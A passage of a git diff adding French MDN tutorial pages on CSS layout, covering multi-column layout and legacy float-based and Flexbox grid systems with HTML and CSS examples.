+  padding-right: 5%;
+  text-align: right;
+}
+
+form input {
+  width: 300px;
+}
+
+form p {
+  display: table-caption;
+  caption-side: bottom;
+  width: 400px;
+  color: #999;
+  font-style: italic;
+}
+ +

Ce qui nous donne le résultat suivant:

+ +

{{ EmbedLiveSample('Les_tableaux_CSS', '100%', '170') }}

+ +

Vous pouvez également examiner cet exemple directement à css-tables-example.html (voyez le code source également).

+ +

Disposition sur plusieurs colonnes

+ +

Le module mise en page sur plusieurs colonnes permet de placer un contenu en colonnes, telle la présentation de l'enchaînement des textes dans un journal. Bien que la lecture de colonnes de haut en bas soit moins utile dans un contexte Web, car il n'est pas question de forcer les utilisateurs à faire défiler en tous sens le contenu d'écran, la disposition en colonnes peut se révéler une technique utile.

+ +

Pour transformer un bloc en conteneur multicolonnes, utilisez soit la propriété {{cssxref("column-count")}} qui indique au navigateur le nombre de colonnes souhaitées, soit la propriété {{cssxref("column-width")}}, qui demande au navigateur de remplir le conteneur d'autant de colonnes de la largeur donnée.

+ +

Dans l'exemple ci–dessous, nous démarrons avec un bloc HTML dans un élément conteneur <div> de la classe container.

+ +
<div class="container">
+    <h1>Disposition en colonnes</h1>
+
+    <p>Paragraphe 1.</p>
+    <p>Paragraphe 2.</p>
+
+</div>
+
+ +

Noux utilisons une propriété column-width de valeur 200 pixels pour ce conteneur ; le navigateur crée autant de colonnes de 200 pixels de large qu'il est possible de faire entrer dans le conteneur, puis il partage l'espace restant entre les colonnes crées.

+ +
+ + +
    .container {
+        column-width: 200px;
+    }
+
+ +

{{ EmbedLiveSample('Multicol_1', '100%', 200) }}

+ +

Résumé

+ +

Cet article donne un bref résumé de toutes les techniques de mise en page à connaître. Poursuivez la lecture pour en savoir plus à propos de chaque technique !

+ +

{{NextMenu("Apprendre/CSS/CSS_layout/Floats", "Apprendre/CSS/CSS_layout")}}

+ +

In this module

+ + diff --git a/files/fr/learn/css/css_layout/legacy_layout_methods/index.html b/files/fr/learn/css/css_layout/legacy_layout_methods/index.html new file mode 100644 index 0000000000..d778686c58 --- /dev/null +++ b/files/fr/learn/css/css_layout/legacy_layout_methods/index.html @@ -0,0 +1,585 @@ +--- +title: Méthodes de mises en page traditionnelles +slug: Apprendre/CSS/CSS_layout/Legacy_Layout_Methods +tags: + - Apprendre + - Boîtes flottantes + - CSS + - Disposition + - Débutant + - Guide + - Héritage + - systèmes de trames +translation_of: Learn/CSS/CSS_layout/Legacy_Layout_Methods +--- +
{{LearnSidebar}}
+ +

{{PreviousMenuNext("Learn/CSS/CSS_layout/Multiple-Column_Layout", "Learn/CSS/CSS_layout/Supporting_Older_Browsers", "Learn/CSS/CSS_layout")}}

+ +

Les systèmes de trames sont courants dans les mises en page avec une CSS, mais avant la création de l'application « CSS Grid Layout », ces mises en page  étaient mises en œuvre à l'aide de boîtes flottantes ou autres. Vous imaginiez votre mise en page sous la forme d'un nombre fixe de colonnes (par exemple 4, 6 ou 12), puis insériez des colonnes de contenu dans ces colonnes imaginaires. Dans cet article, nous allons explorer le fonctionnement de ces méthodes traditionnelles anciennes pour que vous compreniez comment elles sont utilisées si vous travaillez sur un projet ancien.

+ + + + + + + + + + + + +
Prérequis:Les fondamentaux du HTML (voyez Introduction au HTML) et une idée du fonctionnement de CSS (voyez Introduction à CSS et Styles de boîtes).
Objectif:Comprendre les concepts fondamentaux derrière les systèmes de disposition en trame utilisés avant que CSS Grid Layout soit disponible dans les navigateurs.
+ +

Mise en page et systèmes de trames avant CSS Grid Layout

+ +

Il peut sembler surprenant pour un désigner web que les CSS n'avaient pas de système de disposition en trame intégré jusqu'à peu. Au lieu de cela, nous utilisions diverses méthodes peu performantes pour créer des designs à trames. Nous appelerons maintenant ces méthodes « méthodes héritées ».

+ +

Pour les nouveaux projets, dans la plupart des cas, CSS Grid Layout forme la base de toute mise en page en combinaison avec une ou plusieurs autres méthodes modernes. Vous rencontrerez cependant de temps en temps des « systèmes de trame » utilisant ces méthodes héritées. Il est intéressant de comprendre comment elles fonctionnent et en quoi elles différent de CSS Grid Layout.

+ +

Cette leçon explique comment fonctionnent les systèmes et les cadres de trames se fondant sur des boîtes flottantes et Flexbox. Après avoir étudié « Grid Layout », vous serez probablement surpris de voir à quel point tout cela semble compliqué ! Ces connaissances vous seront utile si vous avez besoin de créer du code de recours pour les navigateurs qui ne prenent pas en charge les nouvelles méthodes ; de plus, elles vous permettront de travailler sur des projets existants qui utilisent ces types de systèmes.

+ +

Gardons présent à l'esprit, en explorant ces systèmes, qu'aucun d'entre eux ne crée réellement une trame de la même manière que CSS Grid Layout. Leur mode de fonctionnement consiste à donner une taille aux objets et à les pousser pour les aligner d'une manière figurant une trame.

+ +

Disposition sur deux colonnes

+ +

Débutons avec l'exemple le plus simple qui soit — une disposition sur deux colonnes. Vous pouvez suivre en créant un nouveau fichier index.html sur l'ordinateur, en le remplissant avec le modèle HTML simple et en y insérant le code ci-dessous aux endroits appropriés. À la fin du paragraphe, vous verrez un exemple en direct de ce à quoi devrait ressembler le code final.

+ +

Tout d'abord, nous avons besoin de contenu à mettre dans nos colonnes. Remplacez ce qui se trouve à l'intérieur de body par ceci :

+ +
<h1>Exemple de disposition sur 2 colonnes</h1>
+<div>
+  <h2>Première colonne</h2>
+  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
+</div>
+
+<div>
+  <h2>Seconde colonne</h2>
+  <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
+</div>
+ +

Chacune de ces colonnes nécessite un élément extérieur conteneur du dit contenu et manipulons‑le en bloc.. Dans notre exemple, nous avons choisi des éléments {{htmlelement("div")}}, mais vous auriez pu choisir n'importe quoi d'autre sémantiquement approprié comme un élément  {{htmlelement("article")}}, {{htmlelement("section")}} ou {{htmlelement("aside")}} ou tout autre.

+ +

Pour la CSS maintenant appliquons ce qui suit au HTML comme base de configuration :

+ +
body {
+  width: 90%;
+  max-width: 900px;
+  margin: 0 auto;
+}
+ +

Le corps du document prendra 90% de la largeur de fenêtre de la vue jusqu'à atteindre 900px de large ; au delà, il restera fixe à cette largeur et se centrera lui-même dans la fenêtre. Par défaut, ses enfants (les éléments {{htmlelement("h1")}}} et les deux {{htmlelement("div")}}) prenent 100% de la largeur du corps. Si nous voulons que les deux {{htmlelement("div")}} flottent l'un à côté de l'autre, nous devons fixer la somme de leur largeurs à 100% de la largeur totale de leur parent ou moins pour qu'ils puissent se placer l'un à côté de l'autre. Ajoutez ceci au bas de la CSS :

+ +
div:nth-of-type(1) {
+  width: 48%;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+}
+ +

Ici nous faisons en sorte que chaque élément représente 48% de la largeur du parent — soit 96% au total, laissant 4% libres pour jouer le rôle de gouttière entre les deux colonnes et leur donner un peu d'air. Maintenant nous avons juste à faire flotter les deux colonnes ainsi :

+ +
div:nth-of-type(1) {
+  width: 48%;
+  float: left;
+}
+
+div:nth-of-type(2) {
+  width: 48%;
+  float: right;
+}
+ +

En mettant tout ensemble, voici le résultat :

+ +
+ +
+ +

{{ EmbedLiveSample('Floated_Two_Col', '100%', 520) }}

+ +

Notez que nous avons utilisé des pourcentages pour définir les largeurs — c'est la bonne stratégie, cela crée une disposition fluide, s'ajustant à diverses tailles d'écran et gardant les mêmes proportions pour les tailles d'écran plus petites. Modifiez la taille de la fenêtre du navigateur pour voir par vous‑même. C'est un outil adapté au désign web adaptatif.

+ +
+

Note : Vous pouvez voir cet exemple en cours à la page 0_two-column-layout.html (voyez aussi son  code source).

+
+ +

Ancienne création d'un cadre de trames

+ +

La plupart des anciens cadres de création de trames utilisaient le comportement de la propriété {{cssxref("float")}} pour faire flotter les colonnes les unes à côté des autres pour créer quelque chose qui ressemble à des trames. Travailler le processus de création d'une trame avec des boîtes flottantes vous en montre le fonctionnement et sert également d'introduction à certains concepts plus avancés pour construire les choses apprises dans la leçon sur le dégagement des boîtes flottantes.

+ +

Le type de cadre de trames le plus facile à créer est un cadre de largeur fixe — il faut simplement déterminer la largeur totale du désign, le nombre de colonnes voulues et la largeur des gouttières et des colonnes. Si nous décidons plutôt de disposer ce design sur une trame avec des colonnes s'adaptant à la largeur de vue du navigateur, nous devrons  calculer les pourcentages de largeur des colonnes et celui des gouttières entre colonnes.

+ +

Dans les paragraphes suivants, nous verrons comment créer ces deux types. Nous allons faire une trame à 12 colonnes — un choix courant considéré comme adaptable à diverses situations étant donné que 12 est bien divisible par 6, 4, 3 et 2.

+ +

Une simple trame de largeurs fixes

+ +

Créons d'abord une trame à colonnes à largeur fixe.

+ +

Commençons par faire une copie locale du fichier exemple simple-grid.html qui comporte le balisage suivant dans body.

+ +
<div class="wrapper">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col span1">13</div>
+    <div class="col span6">14</div>
+    <div class="col span3">15</div>
+    <div class="col span2">16</div>
+  </div>
+</div>
+ +

Le but est d'en faire une trame de démonstration sur deux lignes à partir des 12 colonnes — la ligne haute montre la taille de colonnes prises isolément, la ligne basse montre des zones de taille différentes à partir de cette trame.

+ +

+ +

À l'élément {{htmlelement("style")}}, ajoutons le code ci-après. Il donne une largeur de 980 pixels au conteneur enveloppe avec un remplissage de 20 pixels du côté droit. Cela nous laisse 960 pixels comme largeur totale pour les colonnes et les gouttières — dans ce cas, le remplissage est soustrait à la largeur totale du contenu car nous avons fixé la valeur de  {{cssxref("box-sizing")}} à border-box sur tous les éléments du site (voir Modification totale du modèle de boîte pour plus d'explications).

+ +
* {
+  box-sizing: border-box;
+}
+
+body {
+  width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 20px;
+}
+ +

Utilisez maintenant le conteneur enveloppe de chaque ligne de la trame pour dissocier et dégager chaque ligne. Ajoutez la règle suivante sous la règle précédente :

+ +
.row {
+  clear: both;
+}
+ +

Appliquer ce dégagement signifie que nous n'avons pas besoin de remplir totalement chaque rangée (ligne) d'éléments remplissant totalement les douze colonnes. Les lignes resteront séparées et n'interfèreront pas entre elles.

+ +

Les gouttières entre colonnes ont une largeur de 20 px. Ces gouttières sont faites en créant un marge du côté droit de chaque colonne ‑ y compris la première pour compenser le remplissage de 20 pixels du côté droit du conteneur. Nous avons donc 12 gouttières en tout — 12 x 20 = 240.

+ +

Il convient de soustraire cela de la largeur totale de 960 pixels, ce qui laisse 720 pixels pour les colonnes. En divisant par 12, nous voyons que chaque colonne aura une largeur de 60 pixels.

+ +

L'étape suivante consiste à créer un règle pour la classe .col la faisant flotter à gauche lui laissant une marge gauche de {{cssxref("margin-left")}} de 20 pixels formant la gouttière et  une largeur {{cssxref("width")}} de 60 pixels. Ajoutez la règle suivante en fin de la CSS :

+ +
.col {
+  float: left;
+  margin-left: 20px;
+  width: 60px;
+  background: rgb(255, 150, 150);
+}
+ +

La ligne supérieure des colonnes unitaires est maintenant disposées en tant que trame.

+ +
+

Note : Nous avons aussi donné à chaque colonne une couleur légèrement rosée pour que vous puissiez voir exactement l'espace pris par chacune.

+
+ +

Les conteneurs destinés à accueillir plusieurs colonnes doivent être d'une classe spéciale pour pouvoir ajuster leurs valeurs {{cssxref("width")}} en fonction du nombre de colonnes requis (plus les gouttières intermédiaires). Nous devons créer une classe supplémentaire pour permettre aux conteneurs de s'étendre de 2 à 12 colonnes. Cette largeur est le résultat de l'addition de la largeur de toutes les colonnes plus les largeurs des gouttières dont le nombre est toujours inférieur de 1 au nombre de colonnes.

+ +

Ajoutez ce qui suit en bas de la CSS :

+ +
/* Deux largeurs de colonnes (120px) plus une largeur de gouttière (20px) */
+.col.span2 { width: 140px; }
+/* Trois largeurs de colonnes (180px) plus deux largeurs de gouttières (40px) */
+.col.span3 { width: 220px; }
+/* et ainsi de suite... */
+.col.span4 { width: 300px; }
+.col.span5 { width: 380px; }
+.col.span6 { width: 460px; }
+.col.span7 { width: 540px; }
+.col.span8 { width: 620px; }
+.col.span9 { width: 700px; }
+.col.span10 { width: 780px; }
+.col.span11 { width: 860px; }
+.col.span12 { width: 940px; }
+ +

Une fois ces classes crées, nous pouvons disposer des colonnes de largeur différentes sur la trame. Enregistrez et chargez cette page dans le navigateur pour voir l'effet.

+ +
+

Note : Si vous avez du mal à faire fonctionner cet exemple, comparez‑le avec notre version terminée sur GitHub (la voir aussi en fonctionnement direct).

+
+ +

Modifiez les classes de vos éléments soit en ajoutant ou retirant certains conteneurs, pour voir comment faire varier la disposition. Par exemple, vous pouvez faire en sorte que la deuxième ligne ressemble à ceci :

+ +
<div class="row">
+  <div class="col span8">13</div>
+  <div class="col span4">14</div>
+</div>
+ +

Maintenant vous avez un système de trame fonctionnel. Il suffit simplement de définir les lignes et le nombre de colonnes dans chaque ligne, puis de remplir chaque conteneur avec le contenu voulu. Super !

+ +

Creation d'une trame fluide

+ +

Cette trame est tout à fait correcte, mais elle a une largeur fixe. Nous souhaitons vraiment une trame souple (fluide) qui s'élargisse ou s'étrécisse avec l'espace disponible dans la fenêtre de vue du navigateur. Pour ce faire, il faut transformer les largeurs de référence de pixels en pourcentages.

+ +

L'équation qui transforme une largeur fixe en pourcentage est la suivante :

+ +
cible / contexte = résultat
+ +

Pour la largeur de la première colonne, la largeur cible est de 60 pixels et le contexte est l'enveloppe de 960 pixels. Avec la formule ci‑dessus nous calculons le pourcentage.

+ +
60 / 960 = 0.0625
+ +

Décalant de deux le point décimal nous obtenons un pourcentage de 6.25%. Donc, dans la CSS, nous pouvons remplacer la largeur de colonne de 60 pixels par 6.25%.

+ +

En faisant de même pour la largeur de la gouttière :

+ +
20 / 960 = 0.02083333333
+ +

Donc, remplaçons par 2.08333333% la valeur 20 pixels de {{cssxref("margin-left")}} dans la règle .col et de {{cssxref("padding-right")}} dans la règle .wrapper.

+ +

Mise à jour de la trame

+ +

Pour ce paragraphe, faites une autre copie de la page exemple précédente ou faites une copie locale du code de simple-grid-finished.html comme point de départ.

+ +

Mettez à jour la deuxième règle CSS (avec le sélecteur .wrapper) comme suit :

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+ +

Outre la définition du pourcentage comme valeur de {{cssxref("width")}}, nous avons ajouté la propriété {{cssxref("max-width")}} de façon à plafonner une mise en page qui deviendrait trop large.

+ +

Ensuite, mettez à jour les quatre règles CSS (du sélecteur .col) ainsi :

+ +
.col {
+  float: left;
+  margin-left: 2.08333333%;
+  width: 6.25%;
+  background: rgb(255, 150, 150);
+}
+ +

Maintenant vient la partie un peu plus laborieuse — nous devons mettre à jour toutes  les règles .col.span en utilisant des largeurs en pourcentage au lieu de pixels. Cela prend un peu de temps avec une calculette ; pour vous économiser du travail, nous l'avons fait pour vous.

+ +

Mettez à jour le bloc bas des règles CSS avec ce qui suit :

+ +
/* Deux largeurs de colonnes (12.5%) plus une largeur de gouttière (2.08333333%) */
+.col.span2 { width: 14.58333333%; }
+/* Trois largeurs de colonnes (18.75%) plus deux largeurs de gouttière (4.1666666%) */
+.col.span3 { width: 22.91666666%; }
+/* Et ainsi de suite... */
+.col.span4 { width: 31.24999999%; }
+.col.span5 { width: 39.58333332%; }
+.col.span6 { width: 47.91666665%; }
+.col.span7 { width: 56.24999998%; }
+.col.span8 { width: 64.58333331%; }
+.col.span9 { width: 72.91666664%; }
+.col.span10 { width: 81.24999997%; }
+.col.span11 { width: 89.5833333%; }
+.col.span12 { width: 97.91666663%; }
+ +

Maintenant enregistrez le code, chargez le dans le navigateur et modifiez la largeur de vue — vous devez constater que la largeur des colonnes s'ajuste comme il convient.

+ +
+

Note : Si vous avez du mal à faire fonctionner l'exemple ci‑dessus, comparez‑le avec notre version terminée sur GitHub (voir aussi celle s'exécutant en direct).

+
+ +

Faciliter les calculs avec la fonction calc()

+ +

Vous pouvez utiliser la fonction {{cssxref("calc()")}} pour faire les calculs à l'intérieur même de la CSS — la fonction vous permet d'insérer de simples expressions mathématiques pour calculer la valeur qu'il convient de donner à la propriété CSS. C'est utile quand les calculs sont complexes ; vous pouvez même effectuer un calcul avec des unités différentes, par exemple « je veux que la hauteur de cet élément soit toujours égale à 100% de son parent moins 50px ». Voir cet exemple dans le didacticiel MediaRecorder API.

+ +

Revenon à nos trames ! Toute colonne se développant au delà de la première a une largeur totale de 6.25% multipliée par le nombre de colonnes précédentes plus 2.08333333% multiplié par le nombre de gouttières (qui doit toujours être égal au nombre de colonnes moins 1). La fonction calc() nous permet de faire ce calcul dans la valeur width même, ainsi pour tout élément au-delà de la colonne 4 nous pouvons écrire, par exemple :

+ +
.col.span4 {
+  width: calc((6.25%*4) + (2.08333333%*3));
+}
+ +

Remplacez le bloc de règles le plus bas par le suivant, puis actualisez le navigateur pour constater que vous obtenez un résultat identique :

+ +
.col.span2 { width: calc((6.25%*2) + 2.08333333%); }
+.col.span3 { width: calc((6.25%*3) + (2.08333333%*2)); }
+.col.span4 { width: calc((6.25%*4) + (2.08333333%*3)); }
+.col.span5 { width: calc((6.25%*5) + (2.08333333%*4)); }
+.col.span6 { width: calc((6.25%*6) + (2.08333333%*5)); }
+.col.span7 { width: calc((6.25%*7) + (2.08333333%*6)); }
+.col.span8 { width: calc((6.25%*8) + (2.08333333%*7)); }
+.col.span9 { width: calc((6.25%*9) + (2.08333333%*8)); }
+.col.span10 { width: calc((6.25%*10) + (2.08333333%*9)); }
+.col.span11 { width: calc((6.25%*11) + (2.08333333%*10)); }
+.col.span12 { width: calc((6.25%*12) + (2.08333333%*11)); }
+ +
+

Note : Vous pouvez voir la version terminée dans fluid-grid-calc.html (la voir aussi  en direct).

+
+ +
+

Note : Si vous n'arrivez pas à faire fonctionner ce qui précède, cela peut être dû au fait que votre navigateur ne prend pas en charge la fonction calc(), même si elle est assez bien prise en charge parmi les navigateurs — au‑delà de IE9.

+
+ +

Systèmes de trames « sémantiques » vs. « non sémantiques »

+ +

Ajouter des classes au balisage pour définir une mise en page signifie que le contenu et le balisage sont liés à la présentation visuelle. Cette utilisation de classes CSS est parfois décrite comme étant « non sémantique » — montrant comment le contenu est disposé — par opposition à l'utilisation sémantique des classes qui décrit le contenu. C'est le cas de nos classes span2, span3, etc.

+ +

Ce n'est pas la seule approche. À la place, vous pouvez décider de la trame, puis ajouter les informations de taille aux règles des classes sémantiques existantes. Par exemple, si vous avez un élément {{htmlelement("div")}} de classe content que vous voulez développer sur huit colonnes, vous pouvez copier sur la largeur de la classe span8, ce qui vous donne une règle :

+ +
.content {
+  width: calc((6.25%*8) + (2.08333333%*7));
+}
+ +
+

Note : Si vous deviez utiliser un préprocesseur tel que Sass, vous pourriez créer un simple mixage pour qu'il insère cette valeur pour vous.

+
+ +

Décalage du conteneur d'une trame

+ +

La trame créée plus haut fonctionne bien tant que tous les conteneurs sont placés à l'aplomb du côté gauche d'une colonne de trame. Si nous voulons laisser une colonne vide avant le premier conteneur — ou entre les conteneurs — nous devons créer une classe offset pour ajouter une marge gauche à notre site pour le décaler visuellement dans la grille. Encore des calculs !

+ +

Essayons.

+ +

Démarrons avec le code précédent ou utilisons le fichier fluid-grid.html comme point de départ.

+ +

Créons dans la CSS une classe qui décale un élément de conteneur d'une largaur de colonne. Ajoutons ce qui suit au bas de la CSS :

+ +
.offset-by-one {
+  margin-left: calc(6.25% + (2.08333333%*2));
+}
+ +

Ou, si vous préférez calculer le pourcentage vous-même, utilisez :

+ +
.offset-by-one {
+  margin-left: 10.41666666%;
+}
+ +

Vous pouvez maintenant ajouter cette classe à tout conteneur pour lequel vous voulez laisser une colonne vide sur sa gauche. Par exemple, si vous avez ceci dans votre HTML :

+ +
<div class="col span6">14</div>
+ +

remplacez‑le par :

+ +
<div class="col span5 offset-by-one">14</div>
+ +
+

Note : Notez que vous devez réduire le nombre de colonnes réparties pour faire de la place au décalage !

+
+ +

Chargez et actualisez pour voir la différence, ou bien vérifiez avec l'exemple fluid-grid-offset.html (voir aussi l'exécution directement). L'exemple terminé doit ressembler à ceci :

+ +

+ +
+

Note : Comme exercice supplémentaire, pouvez‑vous implémenter une classe offset-by-two ?

+
+ +

Limitations des trames de boîtes flottantes

+ +

En utilisant un tel système, vous devez veiller à ce que la somme des largeurs doit correcte et que ne soit pas inclus d'éléments dans une ligne qui s'étendent sur plus de colonnes que la rangée peut en contenir. En raison du mode de fonctionnement des boîtes flottantes, si le nombre de colonnes de la grille devient trop large pour la trame, les éléments d'extrémité descendront sur la ligne suivante et casseront la trame.

+ +

N'oubliez pas non plus que si le contenu des éléments s'élargit au-delà des rangées qu'ils occupent, il y aura débordement et tout sera gâché.

+ +

La plus grande limite de ce système est essentiellement son caractère unidimensionnel. Il s'agit de colonnes et de répartition d'éléments transversaux, mais pas de lignes. Il est très difficile avec ces anciennes méthodes de mise en page de contrôler la hauteur des éléments sans fixer explicitement une hauteur, et c'est aussi une approche très rigide — cela ne fonctionne que si vous pouvez garantir que le contenu est d'une hauteur donnée..

+ +

Trames Flexbox ?

+ +

Si vous avez lu le précédent article à propors de Flexbox, vous pourriez penser que Flexbox est la solution idéale pour créer un système de trames. Il existe actuellement nombre de systèmes de grille fondés sur Flexbox et Flexbox peut résoudre beaucoup de problèmes mis en évidence lors de la création de notre trame ci-dessus.

+ +

Cependant, Flexbox n'a jamais été conçu comme système de trames : il conduit à un nouvel ensemble de défis lorsqu'il est utilisé comme tel. Comme simple exemple, prenons le même exemple que celui utilisé ci-dessus et utilisons la CSS suivante pour mettre en page les classes wrapper, row et col :

+ +
body {
+  width: 90%;
+  max-width: 980px;
+  margin: 0 auto;
+}
+
+.wrapper {
+  padding-right: 2.08333333%;
+}
+
+
+.row {
+  display: flex;
+}
+
+.col {
+  margin-left: 2.08333333%;
+  margin-bottom: 1em;
+  width: 6.25%;
+  flex: 1 1 auto;
+  background: rgb(255,150,150);
+}
+ +

Faites ces remplacements dans votre exemple, ou regardez l'exemeple de code flexbox-grid.html (voir aussi en  exécution directe).

+ +

Ici, nous transformons chaque rangée en conteneur flexible. Avec une trame fondée sur Flexbox, nous avons encore besoin de rangées  pour avoir des éléments tant que leur somme est inférieure à 100%. Nous avons réglé ce conteneur à display : flex.

+ +

Pour .col nous fixons à 1 la première valeur ({{cssxref("flex-grow")}}) de la propriété  {{cssxref("flex")}}, ainsi nos éléments peuvent s'élargir, la deuxième valeur ({{cssxref("flex-shrink")}}) à 1 également, ainsi les éléments peuvent s'étrécir, et la troisième valeur ({{cssxref("flex-basis")}}) à auto. Comme la valeur {{cssxref("width")}} de l'élément est fixée, auto utilisera cette valeur en tant que valeur de flex-basis.

+ +

Sur la ligne haute, nous disposons de douze boîtes nettes sur la trame et elle s'élargissent ou s'étrécissent de manière égale quand nous modifions la largeur de la vue. Sur la ligne suivante, toutefois, nous n'avons que quatre éléments et ceux-ci s'élargissent ou s'étrécissent à partir de la base de 60px. Avec seulement quatre d'entre eux ils peuvent s'élargir un peu plus que les éléments de la ligne au‑dessus, le résultat étant qu'ils occupent tous la même largeur sur la deuxième ligne.

+ +

+ +

Pour corriger cela, nous avons encore besoin d'inclure les classes span pour donner une largeur qui remplave la valeur donnée par flex-basis pour cet élément.

+ +

Également, ils ne respectent pas la trame utilisée par les éléments au‑dessus car ils ne « savent » rien à son propos.

+ +

Flexbox est un design mono-dimensionnel par conception. Il compose avec une seule dimentsion, celle d'une ligne ou d'une colonne. Nous ne pouvons pas créer une trame stricte pour les colonnes et pour les lignes, ce qui signifie que si nous utilisons Flexbox pour  une trame, nous devons encore calculer les pourcentages comme pour la disposition en boîtes flottantes.

+ +

Dans votre projet, vous pouvez toujours choisir d'utiliser une « trame » Flexbox en raison des capacités d'alignement et de distribution de l'espace supplémentaires que Flexbox offre pour les boites flottantes. Mais sachez que vous utilisez encore un outil pour autre chose que ce pour quoi il a été conçu. Vous pouvez donc avoir l'impression d'être obligé de passer par un tas de circonvolutions pour obtenir le résultat final souhaité.

+ +

Systèmes de trame tierces parties

+ +

Maintenant que nous avons compris la mathématique derrière les calculs de grille, nous sommes au bon endroit pour examiner certains des systèmes de trame tierces parties couramment utilisés. Si vous faite une recherche web pour « CSS Grid framework », vous vous trouverez devant une liste de choix énorme. Les canevas populaires tels que Bootstrap et Foundation incluent un système de trame. Il existe également des systèmes de trames autonomes, développés soit à l'aide des CSS, soit à l'aide de préprocesseurs.

+ +

Voyons un de ces systèmes autonomes : il montre les techniques courantes pour travailler dans un cadre de trames. La trame que nous allons utiliser fait partie de Skeleton, un simple canevas CSS.

+ +

Commençons par visiter le site web de Skeleton et choisissons « Download » pour télécharger le fichier ZIP. Faisons l'extraction et copions les fichiers skeleton.css et normalize.css dans un nouveau répertoire.

+ +

Faites une copie de html-skeleton.html et enregistrez le dans le même répertoire que skeleton.css et normalize.css.

+ +

Incorporez les .css skeleton et normalize dans la page HTML, en ajoutant ce qui suit dans head :

+ +
<link href="normalize.css" rel="stylesheet">
+<link href="skeleton.css" rel="stylesheet">
+ +

Skeleton inclut plus qu'un système de grille — il contient aussi des CSS pour la typographie et autres éléments de page que vous pouvez utiliser comme point de départ. Toutefois nous les laisserons de côté pour l'instant — c'est la trame qui nous interesse pour le moment.

+ +
+

Note : Normalize est une petite bibliothèque réellement utile écrite par Nicolas Gallagher, bibliothèque qui fait automatiquement quelques corrections sur les dispositions de base et rend le style des éléments par défaut plus conhérent entre les divers navigateurs.

+
+ +

Nous utiliserons un HTML similaire à celui de notre dernier exemple. Ajoutez ce qui suit dans le corps du HTML :

+ +
<div class="container">
+  <div class="row">
+    <div class="col">1</div>
+    <div class="col">2</div>
+    <div class="col">3</div>
+    <div class="col">4</div>
+    <div class="col">5</div>
+    <div class="col">6</div>
+    <div class="col">7</div>
+    <div class="col">8</div>
+    <div class="col">9</div>
+    <div class="col">10</div>
+    <div class="col">11</div>
+    <div class="col">12</div>
+  </div>
+  <div class="row">
+    <div class="col">13</div>
+    <div class="col">14</div>
+    <div class="col">15</div>
+    <div class="col">16</div>
+  </div>
+</div>
+ +

Pour commencer à utiliser Skeleton nous devons donner à l'élément enveloppe {{htmlelement("div")}} une classe container — elle est déjà comprise dans le HTML. Ceci centre le contenu avec une largeur maximale de 960 pixels. Vous pouvez voir que les boîtes ne deviennent plus jamais plus large que 960 pixels.

+ +

Regardez dans le fichier skeleton.css, vous verrez la  CSS appliquée quand on se sert de cette classe. L'élément <div> est centré en utilisant la valeur auto pour les marges droite et gauche ; de plus, un remplissage de 20 pixels est appliqué à droite et à gauche. Skeleton fixe également la propriété {{cssxref("box-sizing")}} à la valeur border-box comme nous l'avions fait plu tôt et donc le remplissage et l'encadrement de cet élément seront inclus dans la largeur totale.

+ +
.container {
+  position: relative;
+  width: 100%;
+  max-width: 960px;
+  margin: 0 auto;
+  padding: 0 20px;
+  box-sizing: border-box;
+}
+ +

Les éléments ne peuvent faire partie d'une trame que s'ils sont à l'intérieur d'une ligne, donc avec notre exemple précédent nous aurons besoin d'un <div> supplémentaire ou d'un autre élément de la classe row imbriqué entre le <div> de content et les véritables conteneurs <div> de contenu. Nous avons aussi déjà fait cela.

+ +

Disposons maintenant les boîtes conteneur. Skeleton est fondé sur une trame de 12 colonnes. Les boîtes de la ligne supérieure nécessitent toutes des classes one column pour qu'elles se répartissent à raison de une par colonne.

+ +

Ajoutez maintenant cet extrait de lignes de code :

+ +
<div class="container">
+  <div class="row">
+    <div class="one column">1</div>
+    <div class="one column">2</div>
+    <div class="one column">3</div>
+    /* and so on */
+  </div>
+</div>
+ +

Ensuite, indiquez les conteneurs sur la deuxième ligne en précisant le nombre de colonnes qu'ils englobent , ainsi :

+ +
<div class="row">
+  <div class="one column">13</div>
+  <div class="six columns">14</div>
+  <div class="three columns">15</div>
+  <div class="two columns">16</div>
+</div>
+ +

Enregistrez le fichier HTML et chargez‑le dans le navigateur pour voir ce que cela donne.

+ +
+

Note : Si vous éprouvez des difficulatés à faire fonctionner cet exemple, comparez votre code avec le fichier html-skeleton-finished.html (à voir aussi  en exécution directe).

+
+ +

Si vous regardez dans le fichier skeleton.css vous verrez comment cela fonctionne. Par exemple, Skeleton prédéfinit ce qui suit pour styler des éléments de la classe « three columns » que l'on ajouterait.

+ +
.three.columns { width: 22%; }
+ +

Tout Skeleton (ou n'importe quel autre canevas) paramètre des classes prédéfinies qu'il est possible d'utiliser en les ajoutant à votre balisage. Vous avez fait exactement la même chose en calculant ces pourcentages vous même.

+ +

